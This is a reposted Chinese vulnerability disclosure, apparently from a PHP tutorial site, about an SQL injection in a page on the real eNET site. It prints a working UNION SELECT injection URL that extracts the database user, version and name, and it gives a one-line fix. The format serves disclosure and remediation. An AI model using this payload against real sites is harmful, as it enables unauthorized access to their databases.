网站地图    收藏   

主页 > 后端 > 网站安全 >

eNET硅谷动力某页面sql注射缺陷及修复 - 网站安全

来源:自学PHP网    时间:2015-04-17 14:46 作者: 阅读:

[导读] 简要描述:由于程序员代码编写的疏忽 ,对部分提交的参数未过滤详细说明:http://other.enet.com.cn/zwds/csym_show.jsp?id=-359%20and%201=11%20union%20select%20user(),2,3,4,5,@@version,database(),8,conn......

简要描述:由于程序员代码编写的疏忽 ,对部分提交的参数未过滤

 

详细说明:

http://other.enet.com.cn/zwds/csym_show.jsp?id=-359%20and%201=11%20union%20select%20user(),2,3,4,5,@@version,database(),8,conn,10,11,12,13,14,15,16,17,18

漏洞证明:

\

http://other.enet.com.cn/zwds/csym_show.jsp?id=-359%20and%201=11%20union%20select%20user(),2,3,4,5,@@version,database(),8,conn,10,11,12,13,14,15,16,17,18

修复方案:对提交的相关参数过滤

自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习

京ICP备14009008号-1@版权所有www.zixuephp.com

网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com

添加评论